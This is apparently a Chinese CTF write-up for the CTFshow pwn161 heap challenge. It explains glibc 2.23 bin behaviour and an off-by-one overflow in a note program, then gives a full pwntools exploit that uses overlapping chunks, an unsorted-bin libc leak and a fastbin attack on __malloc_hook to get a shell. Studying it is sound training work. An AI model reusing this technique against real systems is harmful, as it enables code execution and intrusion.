CTFshow-pwn161

[!NOTE]

简单的漏洞利用

  • 远程环境:Ubuntu 16.04

libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11

先来检查一下二进制文件保护,保护全开

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn161
[*] '/home/niuyingying/ctf/pwn/pwn161'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

接下来查看 ida 中的伪代码,程序大致流程如下

unsigned __int64 menu()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("Ez Note:");
  puts("1. Add a note");
  puts("2. Edit the note");
  puts("3. Free the note");
  puts("4. Show the note");
  puts("5. Exit");
  printf("Choice: ");
  return __readfsqword(0x28u) ^ v1;
}
__int64 Add()
{
  __int64 result; // rax
  int i; // [rsp+4h] [rbp-1Ch]
  int v2; // [rsp+8h] [rbp-18h]
  int size; // [rsp+8h] [rbp-18h]
  void *v4; // [rsp+10h] [rbp-10h]

  result = 0;
  for ( i = 0; i <= 15; ++i )
  {
    result = *((unsigned int *)&unk_202040 + 4 * i);
    if ( !(_DWORD)result )
    {
      printf("size: ");
      size = Scanf(v2);
      if ( size > 0 )
      {
        if ( size > 4096 )
          size = 4096;
        v4 = calloc(size, 1u);
        if ( !v4 )
          exit(-1);
        *((_DWORD *)&unk_202040 + 4 * i) = 1;   // used
        *((_DWORD *)&unk_202044 + 4 * i) = size;// size
        qword_202048[2 * i] = v4;               // ptr
        printf("the index of ticket is %d \n", i);
      }
      return (unsigned int)i;
    }
  }
  return result;
}
__int64 Edit()
{
  int v1; // [rsp+Ch] [rbp-14h]
  unsigned int v2; // [rsp+Ch] [rbp-14h]
  unsigned int i; // [rsp+10h] [rbp-10h]
  unsigned int v4; // [rsp+14h] [rbp-Ch]

  printf("index: ");
  v2 = Scanf(v1);
  i = v2;
  if ( v2 < 0x10 )
  {
    v2 = *((_DWORD *)&unk_202040 + 4 * (int)v2);
    if ( v2 == 1 )
    {
      printf("size: ");
      v2 = Scanf(1);
      v4 = New_size(*((unsigned int *)&unk_202044 + 4 * (int)i), v2);
      if ( (int)v2 > 0 )
      {
        printf("content: ");
        return (unsigned int)Read(qword_202048[2 * (int)i], v4);
      }
    }
  }
  return v2;
}
__int64 Free()
{
  int v0; // eax
  int v2; // [rsp+Ch] [rbp-14h]
  int v3; // [rsp+10h] [rbp-10h]
  __int64 v4; // [rsp+10h] [rbp-10h]

  printf("index: ");
  v0 = Scanf(v3);
  v4 = v0;
  v2 = v0;
  if ( (unsigned __int64)v0 < 0x10 )
  {
    v4 = *((int *)&unk_202040 + 4 * v0);
    if ( v4 == 1 )
    {
      *((_DWORD *)&unk_202040 + 4 * v0) = 0;
      *((_DWORD *)&unk_202044 + 4 * v0) = 0;
      free((void *)qword_202048[2 * v0]);
      qword_202048[2 * v2] = 0;
    }
  }
  return v4;
}
__int64 Show()
{
  int v1; // [rsp+0h] [rbp-10h]
  unsigned int v2; // [rsp+0h] [rbp-10h]
  unsigned int v3; // [rsp+4h] [rbp-Ch]

  printf("index: ");
  v2 = Scanf(v1);
  v3 = v2;
  if ( v2 < 0x10 )
  {
    v2 = *((_DWORD *)&unk_202040 + 4 * (int)v2);
    if ( v2 == 1 )
    {
      printf("content: ");
      return (unsigned int)Write(qword_202048[2 * (int)v3], *((unsigned int *)&unk_202044 + 4 * (int)v3));
    }
  }
  return v2;
}

我们看到 New_size 函数,发现如果 new_size - old_size == 10,返回 old_size + 1

__int64 __fastcall New_size(int a1, unsigned int a2)
{
  __int64 result; // rax

  if ( a1 > (int)a2 )
    return a2;
  if ( a2 - a1 == 10 )
    LODWORD(result) = a1 + 1;
  else
    LODWORD(result) = a1;
  return (unsigned int)result;
}

那么只要输入 new_size = old_size + 10,就能写 old_size + 1 字节,形成 1 字节堆溢出,正好打到下一个 chunk 的 size 低字节,一旦做出重叠的 chunk ,就可以通过 Show 函数泄露

由于是垫基础,所以这里讲一下堆利用中各种 bin 之间的转换,以启用 tcache 的 libc 版本为例

free(chunk)
    │
    ├─ chunk 是 mmap 分配的
    │      └─ munmap,直接还给系统
    │
    ├─ 大小属于 tcache 范围,并且对应 tcache 没满
    │      └─ 放入 tcache,结束
    │
    ├─ 大小属于 fastbin 范围
    │      └─ 放入 fastbin,结束
    │
    └─ 普通 free
           │
           ├─ 尝试向前合并
           ├─ 尝试向后合并
           │
           ├─ 如果与 top chunk 相邻
           │      └─ 合并进 top chunk
           │
           └─ 否则
                  └─ 放入 unsortedbin
                         │
                         └─ 下一次 malloc 时:
                                ├─ 正好合适:直接使用
                                ├─ 小 chunk:归入 smallbin
                                └─ 大 chunk:归入 largebin
                                
tcache 满
    ↓
fastbin 或普通 free

fastbin
    ↓ malloc_consolidate
unsortedbin

普通 free
    ↓ 合并
unsortedbin

unsortedbin
    ↓ malloc 整理
smallbin / largebin

切割产生的 remainder
    ↓
unsortedbin

再来讲一讲 malloc(0x18) 以后 chunk 的内存布局

chunk_addr
    ↓
+0x00  +--------------------------+
       | prev_size        0x8字节 |
+0x08  +--------------------------+
       | size = 0x21      0x8字节 |
+0x10  +--------------------------+ ← malloc 返回的 p
       | 用户数据                 |
       | 共可使用 0x18 字节       |
+0x20  +--------------------------+
       | 下一个 chunk 的 prev_size|
       | 当前 chunk 使用时可复用  |
+0x28  +--------------------------+
       | 下一个 chunk 的 size     |
+0x30  +--------------------------+

重点在于下一个 chunk 的 prev_size 字段在当前 chunk 被使用时,可以作为当前 chunk 的可用空间

接下来说一下这道题的利用思路,由于 libc 版本没有启用 tcache (从 glibc 2.26 开始),因此这道题我们可以先通过上述的堆溢出和 unsorted bin 泄露 libc 地址,再利用 fastbin attack 技术 get shell ,具体利益链如下

  • 申请 0x18 / 0xf8 / 0x68 / 0x18 四块
  • idx0 执行 Edit(size=0x22),实际只会读 0x19 字节,最后 1 字节把 idx1 的 chunk size 从 0x101 改成 0x171,让它“吃掉”后面的 idx2
  • free(idx1) 后再 add(0xf8),会把重叠区域切回来,留一个落在 idx2 位置上的 unsorted remainder;show(idx2) 直接泄露 main_arena+0x58,从而算出 libc 基址
  • add(0x68)idx2 和新 note 别名同一块;free(新note) 后,idx2 还保留着对 fastbin chunk 的写能力,于是改 fd -> __malloc_hook-0x23
  • 两次 add(0x68) 把 chunk 取到 hook 附近,写入:
    • __realloc_hook = one_gadget
    • __malloc_hook = realloc + 0x10
  • 最后再触发一次 Addcalloc 走到 hook,直接拿 shell
niuyingying@niuyingying:~/ctf/pwn$ one_gadget ./libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

攻击脚本如下,可参考 [SUCTF 2018 招新赛]unlink - AurY1n's Blog 这篇

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn161')
libc = ELF('./libc-2.23.so')

# io = process('./pwn161')
io = remote("pwn.challenge.ctf.show",28113)

# io = gdb.debug('./pwn160', gdbscript='set pagination off\nb *0x08048AD2\nb *0x08048B73\nb *0x08048C14\nb *0x08048E22\nc')

# io = gdb.debug(
#     './pwn161',
#     gdbscript='''
# set pagination off
# set sysroot /
# handle SIGALRM nostop noprint nopass
# breakrva 0xD80
# breakrva 0xF86
# breakrva 0x10A0
# breakrva 0x11E4
# c
# '''
# )

def Add(size):
    io.recvuntil(b"Choice: ")
    io.sendline(b"1")
    io.recvuntil(b"size: ")
    io.sendline(str(size).encode())

def Edit(i,size,text):
    io.recvuntil(b"Choice: ")
    io.sendline(b"2")
    io.recvuntil(b"index: ")
    io.sendline(str(i).encode())
    io.recvuntil(b"size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"content: ")
    io.send(text)

def Free(i):
    io.recvuntil(b"Choice: ")
    io.sendline(b"3")
    io.recvuntil(b"index: ")
    io.sendline(str(i).encode())

def Show(i):
    io.recvuntil(b"Choice: ")
    io.sendline(b"4")
    io.recvuntil(b"index: ")
    io.sendline(str(i).encode())
    io.recvuntil(b"content: ")

def Exit():
    io.recvuntil(b"Choice: ")
    io.sendline(b"5")

# 0
Add(0x18)

# 1
Add(0xf0)

# 2
Add(0x60)

# 3
Add(0x10)

payload1 = b"\x00" * 0x18 + b"\x71"
Edit(0,0x22,payload1)

Free(1)

# 1
Add(0xf0)

Show(2)
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

libc_base = leak - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))

one_gadget = libc_base + 0x4526a
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']

# 4
Add(0x60)
Free(4)

Edit(2,0x8,p64(malloc_hook - 0x23))

# 4
Add(0x60)

# 5
Add(0x60)

payload2 = b"\x00" * 0xb + p64(one_gadget) + p64(realloc + 0x10)
Edit(5,0x1b,payload2)

Add(0x10)

io.interactive()
posted @ 2026-08-10 16:15  AurY1n  阅读(1)  评论(0)    收藏  举报